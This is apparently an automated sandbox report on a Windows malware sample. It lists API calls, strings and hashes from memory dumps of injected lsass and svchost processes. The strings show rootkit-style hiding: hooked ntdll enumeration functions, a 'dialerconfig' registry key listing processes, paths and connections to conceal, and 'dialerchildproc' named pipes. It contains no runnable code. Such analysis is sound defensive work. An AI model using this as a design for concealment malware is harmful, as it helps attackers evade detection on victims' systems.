Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 02eb1687d551be4925cf3a57e29467bdb8e87c8f6b08593b3f3d5ec8add5e525
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: C9118275605B4882EE04DB66A4082A977A2FB99FCCF185024DE4D87765EF3AD652D300

Function 00000213BDCE1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000213BDCE126E
HeapAlloc.KERNEL32 ref: 00000213BDCE127D
GetProcessHeap.KERNEL32 ref: 00000213BDCE1297
HeapAlloc.KERNEL32 ref: 00000213BDCE12A8

Memory Dump Source

Source File: 00000029.00000002.3061505937.00000213BDCE0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000213BDCE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_213bdce0000_lsass.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: ca62a568da37a1804808f6c472a8f8a8754ce746572dadf88ae12087715b600f
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: CCE0393564160486EB04CB62D80838A36E2EB99B0AF04C02489090B355EF7E8699C750

Analysis Process: svchost.exePID: 920, Parent PID: 4620COMMON

Execution Graph

Execution Coverage:	0.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	81
Total number of Limit Nodes:	4

Executed Functions

Function 00000158709D104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000158709D10B1
RegEnumValueW.ADVAPI32 ref: 00000158709D1117
GetProcessHeap.KERNEL32 ref: 00000158709D115A
HeapAlloc.KERNEL32 ref: 00000158709D1168
GetProcessHeap.KERNEL32 ref: 00000158709D1185
HeapFree.KERNEL32 ref: 00000158709D1193

Strings

d, xrefs: 00000158709D10D6

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 406b0553ad116c0cf0cb50d7a38d1fd5da460869398bb6113de0fb484408bd0d
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 99418237218F84D6E760CF21E84439E77A1F389B99F148129DB891B758DF38C586CB00

Function 00000158709D328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 00000158709D32AE
PathFindFileNameW.SHLWAPI ref: 00000158709D32BD

Part of subcall function 00000158709D3844: StrCmpNIW.SHLWAPI ref: 00000158709D385C

Part of subcall function 00000158709D3790: GetModuleHandleW.KERNEL32 ref: 00000158709D379E
Part of subcall function 00000158709D3790: GetCurrentProcess.KERNEL32 ref: 00000158709D37CC
Part of subcall function 00000158709D3790: VirtualProtectEx.KERNEL32 ref: 00000158709D37EE
Part of subcall function 00000158709D3790: GetCurrentProcess.KERNEL32 ref: 00000158709D3809
Part of subcall function 00000158709D3790: VirtualProtectEx.KERNEL32 ref: 00000158709D382A

CreateThread.KERNEL32 ref: 00000158709D330B

Part of subcall function 00000158709D1D14: GetCurrentThread.KERNEL32 ref: 00000158709D1D1F

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: d10138deb8bbbe3c9e36edbeaa6ef6b6b2d091da5ebc89b531e029dc850f4207
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 9211C43E658E08C2F7609B21FE053D97294B7CC387FB08124990A6D6E6EF78C0468E00

Function 00000158709D1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000158709D1628: GetProcessHeap.KERNEL32 ref: 00000158709D1633
Part of subcall function 00000158709D1628: HeapAlloc.KERNEL32 ref: 00000158709D1642
Part of subcall function 00000158709D1628: RegOpenKeyExW.ADVAPI32 ref: 00000158709D16B2
Part of subcall function 00000158709D1628: RegOpenKeyExW.ADVAPI32 ref: 00000158709D16DF
Part of subcall function 00000158709D1628: RegCloseKey.ADVAPI32 ref: 00000158709D16F9
Part of subcall function 00000158709D1628: RegOpenKeyExW.ADVAPI32 ref: 00000158709D1719
Part of subcall function 00000158709D1628: RegCloseKey.ADVAPI32 ref: 00000158709D1734
Part of subcall function 00000158709D1628: RegOpenKeyExW.ADVAPI32 ref: 00000158709D1754
Part of subcall function 00000158709D1628: RegCloseKey.ADVAPI32 ref: 00000158709D176F
Part of subcall function 00000158709D1628: RegOpenKeyExW.ADVAPI32 ref: 00000158709D178F
Part of subcall function 00000158709D1628: RegCloseKey.ADVAPI32 ref: 00000158709D17AA
Part of subcall function 00000158709D1628: RegOpenKeyExW.ADVAPI32 ref: 00000158709D17CA

Sleep.KERNEL32 ref: 00000158709D1AD7
SleepEx.KERNELBASE ref: 00000158709D1ADD

Part of subcall function 00000158709D1628: RegCloseKey.ADVAPI32 ref: 00000158709D17E5
Part of subcall function 00000158709D1628: RegOpenKeyExW.ADVAPI32 ref: 00000158709D1805
Part of subcall function 00000158709D1628: RegCloseKey.ADVAPI32 ref: 00000158709D1820
Part of subcall function 00000158709D1628: RegOpenKeyExW.ADVAPI32 ref: 00000158709D1840
Part of subcall function 00000158709D1628: RegCloseKey.ADVAPI32 ref: 00000158709D185B
Part of subcall function 00000158709D1628: RegOpenKeyExW.ADVAPI32 ref: 00000158709D187B
Part of subcall function 00000158709D1628: RegCloseKey.ADVAPI32 ref: 00000158709D1896
Part of subcall function 00000158709D1628: RegCloseKey.ADVAPI32 ref: 00000158709D18A0

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: dd6c86af37df3cdfce808d9367ca0a589ea4c12304fe849a19c5307a2c397293
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: C931B47B244D49E1EB509B36DE513F93394A7CCBD2F2454229E09AF79BEE18C4538A10

Function 00000158709D3844 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 00000158709D385C

Strings

dialer, xrefs: 00000158709D3855

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID:
String ID: dialer
API String ID: 0-3528709123
Opcode ID: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction ID: 780bff3d9f94a45a4787809db9a9868108e6e80b955a58f819050ff7eb005af9
Opcode Fuzzy Hash: 65427932a6511f3c8dca5889eed1792e2f2e2d3e0b30565664b7cb78ea33e46c
Instruction Fuzzy Hash: 8ED05E79351A09C6FB149FA68CC47A03350AB8C7D6FA89020990019160DF188D9EAE10

Function 00000158709A273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000158709A285E

Memory Dump Source

Source File: 0000002C.00000002.3045643461.00000158709A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709a0000_svchost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 917a96bc1d6c895ecea56c2d7ec6bba4e4c507b6cb4fc8ea2b9ce0172117c01a
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 9A61E3BAB09A90C7DB548F19D9007EA7392F7D8B95F248121DE593B784DE38D853EB00

Non-executed Functions

Function 00000158709D2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 00000158709D2BD0
lstrlenW.KERNEL32 ref: 00000158709D2E0A

Part of subcall function 00000158709D199C: OpenProcess.KERNEL32 ref: 00000158709D19C2
Part of subcall function 00000158709D199C: K32GetModuleFileNameExW.KERNEL32 ref: 00000158709D19E0
Part of subcall function 00000158709D199C: PathFindFileNameW.SHLWAPI ref: 00000158709D19EF
Part of subcall function 00000158709D199C: lstrlenW.KERNEL32 ref: 00000158709D19FB
Part of subcall function 00000158709D199C: StrCpyW.SHLWAPI ref: 00000158709D1A0E
Part of subcall function 00000158709D199C: CloseHandle.KERNEL32 ref: 00000158709D1A1C

GetProcAddress.KERNEL32 ref: 00000158709D2BE5

Part of subcall function 00000158709D152C: StrCmpIW.SHLWAPI ref: 00000158709D155D

Part of subcall function 00000158709D3844: StrCmpNIW.SHLWAPI ref: 00000158709D385C

StrCmpNIW.SHLWAPI ref: 00000158709D2C28
lstrlenW.KERNEL32 ref: 00000158709D2D50

Strings

\Device\Nsi, xrefs: 00000158709D2C1B
ntdll.dll, xrefs: 00000158709D2BC9
NtQueryObject, xrefs: 00000158709D2BDB

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: e19b0cfe6a8045a754af9c3da777dccb95321baacbab1f044a34d1dd9148c669
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: 4EB1B03A218E58C2EB648F25DC407E973A5FBD8B96F245016EE496B796DF34CC42CB40

Function 00000158709D7D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00000158709D7DAC
RtlCaptureContext.NTDLL ref: 00000158709D7DD9
RtlLookupFunctionEntry.NTDLL ref: 00000158709D7DF3
RtlVirtualUnwind.NTDLL ref: 00000158709D7E34
IsDebuggerPresent.KERNEL32 ref: 00000158709D7E88
SetUnhandledExceptionFilter.KERNEL32 ref: 00000158709D7EA9
UnhandledExceptionFilter.KERNEL32 ref: 00000158709D7EB4

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: e7c148938d73b118393facd0308456c1e40248a19777e3d89d8291f9a2c8a452
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 9D313A76205E84CAEB609F60E8403EE7361F788745F54402ADA4D6BBA5EF38C949CB10

Function 00000158709DD2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 00000158709DD31D
RtlLookupFunctionEntry.NTDLL ref: 00000158709DD335
RtlVirtualUnwind.NTDLL ref: 00000158709DD370
IsDebuggerPresent.KERNEL32 ref: 00000158709DD3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 00000158709DD3B3
UnhandledExceptionFilter.KERNEL32 ref: 00000158709DD3BE

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 059a4172f76ea96128a6440cafd08da1c107212dcb3790aa4d309b172f3a75cd
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: C5315B3A214F84C6DB60CB25E8403DE73A0F7C9799F640126EA9D5BBA5EF38C556CB00

Function 00000158709D1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000158709D1633
HeapAlloc.KERNEL32 ref: 00000158709D1642

Part of subcall function 00000158709D1268: GetProcessHeap.KERNEL32 ref: 00000158709D126E
Part of subcall function 00000158709D1268: HeapAlloc.KERNEL32 ref: 00000158709D127D
Part of subcall function 00000158709D1268: GetProcessHeap.KERNEL32 ref: 00000158709D1297
Part of subcall function 00000158709D1268: HeapAlloc.KERNEL32 ref: 00000158709D12A8

RegOpenKeyExW.ADVAPI32 ref: 00000158709D16B2
RegOpenKeyExW.ADVAPI32 ref: 00000158709D16DF
RegCloseKey.ADVAPI32 ref: 00000158709D16F9
RegOpenKeyExW.ADVAPI32 ref: 00000158709D1719
RegCloseKey.ADVAPI32 ref: 00000158709D1734
RegOpenKeyExW.ADVAPI32 ref: 00000158709D1754
RegCloseKey.ADVAPI32 ref: 00000158709D176F
RegOpenKeyExW.ADVAPI32 ref: 00000158709D178F
RegCloseKey.ADVAPI32 ref: 00000158709D17AA
RegOpenKeyExW.ADVAPI32 ref: 00000158709D17CA
RegCloseKey.ADVAPI32 ref: 00000158709D17E5
RegOpenKeyExW.ADVAPI32 ref: 00000158709D1805
RegCloseKey.ADVAPI32 ref: 00000158709D1820
RegOpenKeyExW.ADVAPI32 ref: 00000158709D1840
RegCloseKey.ADVAPI32 ref: 00000158709D185B
RegOpenKeyExW.ADVAPI32 ref: 00000158709D187B
RegCloseKey.ADVAPI32 ref: 00000158709D1896
RegCloseKey.ADVAPI32 ref: 00000158709D18A0

Part of subcall function 00000158709D12BC: RegQueryInfoKeyW.ADVAPI32 ref: 00000158709D1319
Part of subcall function 00000158709D12BC: GetProcessHeap.KERNEL32 ref: 00000158709D1327
Part of subcall function 00000158709D12BC: HeapAlloc.KERNEL32 ref: 00000158709D1338
Part of subcall function 00000158709D12BC: RegEnumValueW.ADVAPI32 ref: 00000158709D1397
Part of subcall function 00000158709D12BC: GetProcessHeap.KERNEL32 ref: 00000158709D13DF
Part of subcall function 00000158709D12BC: HeapAlloc.KERNEL32 ref: 00000158709D13ED
Part of subcall function 00000158709D12BC: GetProcessHeap.KERNEL32 ref: 00000158709D140A
Part of subcall function 00000158709D12BC: HeapFree.KERNEL32 ref: 00000158709D1418
Part of subcall function 00000158709D12BC: lstrlenW.KERNEL32 ref: 00000158709D1421
Part of subcall function 00000158709D12BC: GetProcessHeap.KERNEL32 ref: 00000158709D142F
Part of subcall function 00000158709D12BC: HeapAlloc.KERNEL32 ref: 00000158709D143D

Strings

service_names, xrefs: 00000158709D17C3
paths, xrefs: 00000158709D1788
tcp_remote, xrefs: 00000158709D1839
pid, xrefs: 00000158709D1712
startup, xrefs: 00000158709D16D5
udp, xrefs: 00000158709D1874
process_names, xrefs: 00000158709D174D
tcp_local, xrefs: 00000158709D17FE
SOFTWARE\dialerconfig, xrefs: 00000158709D1692

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 0f6089fd75106e825002abacbaf1900165387074937e0fada7e43ed3f6eff390
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 3371183B314E14D6EB109F72EC4079933A5F7C8B8AF101121DA4E6BB29DE34C956CB40

Function 00000158709D12BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000158709D1319
GetProcessHeap.KERNEL32 ref: 00000158709D1327
HeapAlloc.KERNEL32 ref: 00000158709D1338
RegEnumValueW.ADVAPI32 ref: 00000158709D1397

Part of subcall function 00000158709D152C: StrCmpIW.SHLWAPI ref: 00000158709D155D

GetProcessHeap.KERNEL32 ref: 00000158709D13DF
HeapAlloc.KERNEL32 ref: 00000158709D13ED
GetProcessHeap.KERNEL32 ref: 00000158709D140A
HeapFree.KERNEL32 ref: 00000158709D1418
lstrlenW.KERNEL32 ref: 00000158709D1421
GetProcessHeap.KERNEL32 ref: 00000158709D142F
HeapAlloc.KERNEL32 ref: 00000158709D143D
StrCpyW.SHLWAPI ref: 00000158709D145F
GetProcessHeap.KERNEL32 ref: 00000158709D1476
HeapFree.KERNEL32 ref: 00000158709D1484

Strings

d, xrefs: 00000158709D135A

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: eb3ce238f31fcb04bd06a980f3a210d1e24ed5b83b152061e04dc28651e22d57
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: E5513A3B208B84D6EB55CF62E84839A77A1F7C9BDAF144124DA491B729DF38C456CB00

Function 00000158709D1D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 00000158709D1D1F

Part of subcall function 00000158709D1FD4: GetModuleHandleA.KERNEL32 ref: 00000158709D1FEC
Part of subcall function 00000158709D1FD4: GetProcAddress.KERNEL32 ref: 00000158709D1FFD

Part of subcall function 00000158709D5B30: GetCurrentThreadId.KERNEL32 ref: 00000158709D5B6B

Strings

ntdll.dll, xrefs: 00000158709D1D2D
EnumServicesStatusExW, xrefs: 00000158709D1E11, 00000158709D1E32
NtQueryDirectoryFile, xrefs: 00000158709D1D7F
NtQuerySystemInformation, xrefs: 00000158709D1D45
NtDeviceIoControlFile, xrefs: 00000158709D1E56
advapi32.dll, xrefs: 00000158709D1DF7, 00000158709D1E18
EnumServiceGroupW, xrefs: 00000158709D1DF0
NtEnumerateValueKey, xrefs: 00000158709D1DD6
NtResumeThread, xrefs: 00000158709D1D62
NtQueryDirectoryFileEx, xrefs: 00000158709D1D9C
NtEnumerateKey, xrefs: 00000158709D1DB9
sechost.dll, xrefs: 00000158709D1E39

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: fe178ff9f80e494172ea236cf487610b27fb66f29a12b80d336874847e16e756
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: B131AE7E545E4AE0EA04EBA9EC517E43320F7DC346FA9401394493E277AF38865BCB50

Function 00000158709A6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000158709A6938
__scrt_acquire_startup_lock.LIBCMT ref: 00000158709A698A
_RTC_Initialize.LIBCMT ref: 00000158709A69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000158709A69DE
__scrt_release_startup_lock.LIBCMT ref: 00000158709A6A09

Strings

scriptor', xrefs: 00000158709A6B39, 00000158709A6BB2, 00000158709A6BEC
`eh vector copy constructor iterator', xrefs: 00000158709A6A3B
`dynamic initializer for ', xrefs: 00000158709A69C7
`eh vector vbase copy constructor iterator', xrefs: 00000158709A69EE

Memory Dump Source

Source File: 0000002C.00000002.3045643461.00000158709A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709a0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 2bc89b2b44f4cc9601cd367f7fcf5040b1f2b50bcf0555486a2ee6e897309275
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 0481AFBD708E41C6FA909B659C413D972A0A7CD782F7480259A49BF796DF38C847EF00

Function 00000158709DCE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00000158709DCE37
FlsGetValue.KERNEL32(?,?,?,00000158709E0A6B,?,?,?,00000158709E045C,?,?,?,00000158709DC84F), ref: 00000158709DCE4C
FlsSetValue.KERNEL32(?,?,?,00000158709E0A6B,?,?,?,00000158709E045C,?,?,?,00000158709DC84F), ref: 00000158709DCE6D
FlsSetValue.KERNEL32(?,?,?,00000158709E0A6B,?,?,?,00000158709E045C,?,?,?,00000158709DC84F), ref: 00000158709DCE9A
FlsSetValue.KERNEL32(?,?,?,00000158709E0A6B,?,?,?,00000158709E045C,?,?,?,00000158709DC84F), ref: 00000158709DCEAB
FlsSetValue.KERNEL32(?,?,?,00000158709E0A6B,?,?,?,00000158709E045C,?,?,?,00000158709DC84F), ref: 00000158709DCEBC
SetLastError.KERNEL32 ref: 00000158709DCED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000158709E0A6B,?,?,?,00000158709E045C,?,?,?,00000158709DC84F), ref: 00000158709DCF0D
FlsSetValue.KERNEL32(?,?,00000001,00000158709DECCC,?,?,?,?,00000158709DBF9F,?,?,?,?,?,00000158709D7AB0), ref: 00000158709DCF2C

Part of subcall function 00000158709DD6CC: HeapAlloc.KERNEL32 ref: 00000158709DD721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000158709E0A6B,?,?,?,00000158709E045C,?,?,?,00000158709DC84F), ref: 00000158709DCF54

Part of subcall function 00000158709DD744: HeapFree.KERNEL32 ref: 00000158709DD75A
Part of subcall function 00000158709DD744: GetLastError.KERNEL32 ref: 00000158709DD764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000158709E0A6B,?,?,?,00000158709E045C,?,?,?,00000158709DC84F), ref: 00000158709DCF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,00000158709E0A6B,?,?,?,00000158709E045C,?,?,?,00000158709DC84F), ref: 00000158709DCF76

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 9975690624174f1e8eecd39a416a149b1b9c960f19d828ddab801993930161a0
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: DB4184BC289E4DC1FA6867255D523E932425BCC7B6F740724A8367E7DBED28D8434E80

Function 00000158709D2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000158709D2259
GetCurrentProcessId.KERNEL32 ref: 00000158709D2263

Part of subcall function 00000158709D1934: OpenProcess.KERNEL32 ref: 00000158709D1952
Part of subcall function 00000158709D1934: IsWow64Process.KERNEL32 ref: 00000158709D1968
Part of subcall function 00000158709D1934: CloseHandle.KERNEL32 ref: 00000158709D1983

CreateFileW.KERNEL32 ref: 00000158709D22BC
WriteFile.KERNEL32 ref: 00000158709D22E4
ReadFile.KERNEL32 ref: 00000158709D2303
CloseHandle.KERNEL32 ref: 00000158709D230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 00000158709D228C
\\.\pipe\dialerchildproc32, xrefs: 00000158709D2293

Memory Dump Source

Source File: 0000002C.00000002.3046293502.00000158709D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000158709D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_44_2_158709d0000_svchost.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 9d08b4948e7ab7a7583e3835b8c16d8cf2b2d0085f3f9790f0536a71d5975b49
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 0D21303A618A54C2E710CB25F84439977A0F7C9BE6F640215DA591ABA8CF3CC55ACF00

Function 00000158709A9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000158709A99A1

Part of subcall function 00000158709AA814: __GetUnwindTryBlock.LIBCMT ref: 00000158709AA857
